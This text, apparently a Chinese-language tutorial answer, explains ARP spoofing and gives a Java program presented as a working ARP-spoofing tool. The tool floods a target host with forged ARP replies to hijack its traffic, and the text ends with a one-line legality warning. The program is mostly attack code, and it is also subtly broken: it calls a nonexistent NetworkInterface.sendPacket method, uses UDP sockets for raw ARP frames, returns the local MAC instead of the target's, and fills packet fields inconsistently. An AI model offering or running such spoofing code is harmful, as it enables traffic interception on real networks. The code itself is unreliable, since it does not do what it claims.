ARP欺骗是一种网络攻击方式，它会伪装成网络中的另一台主机，向网络中的其他主机发送虚假的ARP响应包，从而达到窃取数据、中间人攻击等目的。下面是一个使用Java实现ARP欺骗的示例程序：
```java
import java.io.IOException;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.SocketException;
import java.net.UnknownHostException;
import java.util.Arrays;
public class ArpSpoofing {
private static final byte[] BROADCAST_MAC = {(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff};
private static final byte[] ARP_REQUEST_HEADER = {(byte) 0x00, (byte) 0x01};
private static final byte[] ARP_REPLY_HEADER = {(byte) 0x00, (byte) 0x02};
private static final byte[] ETHERNET_HEADER = {(byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x03, (byte) 0x04, (byte) 0x05};
public static void main(String[] args) throws UnknownHostException, SocketException, IOException, InterruptedException {
String targetIp = "192.168.0.100"; // 目标主机IP地址
String gatewayIp = "192.168.0.1"; // 网关IP地址
String interfaceName = "eth0"; // 网络接口名
byte[] targetMac = getMacAddress(targetIp, interfaceName); // 获取目标主机MAC地址
byte[] gatewayMac = getMacAddress(gatewayIp, interfaceName); // 获取网关MAC地址
// 发送ARP欺骗包
while (true) {
sendArpReply(targetIp, targetMac, gatewayIp, gatewayMac, interfaceName);
Thread.sleep(1000);
}
}
private static void sendArpReply(String targetIp, byte[] targetMac, String gatewayIp, byte[] gatewayMac, String interfaceName) throws IOException {
byte[] packetData = new byte[42];
// 设置以太网头部
System.arraycopy(targetMac, 0, packetData, 0, 6); // 目标MAC地址
System.arraycopy(ETHERNET_HEADER, 0, packetData, 6, 6); // 源MAC地址
packetData[12] = 0x08; // 以太网类型
// 设置ARP头部
System.arraycopy(BROADCAST_MAC, 0, packetData, 14, 6); // 目标MAC地址
System.arraycopy(getMacAddress(gatewayIp, interfaceName), 0, packetData, 20, 6); // 源MAC地址
System.arraycopy(ARP_REPLY_HEADER, 0, packetData, 26, 2); // ARP响应头部
System.arraycopy(getMacAddress(gatewayIp, interfaceName), 0, packetData, 28, 6); // 发送方MAC地址
System.arraycopy(InetAddress.getByName(targetIp).getAddress(), 0, packetData, 38, 4); // 目标IP地址
System.arraycopy(targetMac, 0, packetData, 32, 6); // 目标MAC地址
// 发送ARP欺骗包
NetworkInterface networkInterface = NetworkInterface.getByName(interfaceName);
networkInterface.getInterfaceAddresses().stream().filter(address -> address.getAddress().getAddress().length == 4).findFirst().ifPresent(address -> {
try {
InetAddress broadcastAddress = address.getBroadcast();
if (broadcastAddress != null) {
networkInterface.sendPacket(new java.net.DatagramPacket(packetData, packetData.length, broadcastAddress, 0));
}
} catch (IOException e) {
e.printStackTrace();
}
});
}
private static byte[] getMacAddress(String ip, String interfaceName) throws UnknownHostException, SocketException {
NetworkInterface networkInterface = NetworkInterface.getByName(interfaceName);
byte[] hardwareAddress = networkInterface.getHardwareAddress();
byte[] ipBytes = InetAddress.getByName(ip).getAddress();
// 构造ARP请求包
byte[] packetData = new byte[28];
System.arraycopy(BROADCAST_MAC, 0, packetData, 0, 6); // 目标MAC地址
System.arraycopy(hardwareAddress, 0, packetData, 6, 6); // 源MAC地址
System.arraycopy(ARP_REQUEST_HEADER, 0, packetData, 12, 2); // ARP请求头部
System.arraycopy(hardwareAddress, 0, packetData, 14, 6); // 发送方MAC地址
System.arraycopy(ipBytes, 0, packetData, 24, 4); // 目标IP地址
// 发送ARP请求包
networkInterface.getInterfaceAddresses().stream().filter(address -> address.getAddress().getAddress().length == 4).findFirst().ifPresent(address -> {
try {
InetAddress broadcastAddress = address.getBroadcast();
if (broadcastAddress != null) {
java.net.DatagramSocket socket = new java.net.DatagramSocket();
socket.setSoTimeout(5000);
socket.send(new java.net.DatagramPacket(packetData, packetData.length, broadcastAddress, 0));
// 接收ARP响应包
byte[] receiveBuffer = new byte[28];
socket.receive(new java.net.DatagramPacket(receiveBuffer, receiveBuffer.length));
System.out.println(Arrays.toString(receiveBuffer));
// 解析ARP响应包
byte[] macAddress = new byte[6];
System.arraycopy(receiveBuffer, 6, macAddress, 0, 6);
System.out.println(ip + " -> " + Arrays.toString(macAddress));
}
} catch (IOException e) {
e.printStackTrace();
}
});
return hardwareAddress;
}
}
```
这个示例程序使用了`NetworkInterface`类来获取网络接口的信息，并使用`DatagramSocket`类来发送ARP请求和欺骗包。需要注意的是，在实际使用中还需要考虑多种情况，例如网络拓扑结构、MAC地址缓存等因素的影响，否则可能会导致ARP欺骗失败。同时，ARP欺骗是一种违法的网络攻击行为，请勿用于非法用途。
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